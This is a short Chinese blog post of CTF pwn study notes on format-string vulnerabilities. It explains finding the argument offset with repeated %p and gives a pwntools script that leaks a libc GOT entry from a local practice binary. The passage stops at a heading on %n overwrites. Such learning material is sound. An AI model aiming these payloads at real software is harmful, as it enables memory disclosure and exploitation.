pwn 学习笔记格式化串计算偏移量

最新推荐文章于 2025-02-23 08:24:22 发布

SsMing.

最新推荐文章于 2025-02-23 08:24:22 发布

阅读量5.2k

点赞数 4

CC 4.0 BY-SA版权

分类专栏： pwn 训练

本文链接：https://blog.youkuaiyun.com/qq_38783875/article/details/81706344

学习参照:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit/

利用%s泄露libc函数的got表内容

addr%k$s可以用来泄露指定地址的内容，但要先确定k的值，可控制的格式化字符串参数是函数第几个参数（k+1），减一就是格式化字符串的第几个参数(k)。

利用 [tag]%p%p%p%p%p%p%p%p%p%p来确定k的值

（懒得打字）

利用下面这个脚本随便改改就可以泄露got表内容了，觉得自己好草率

from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()

利用%n覆盖内存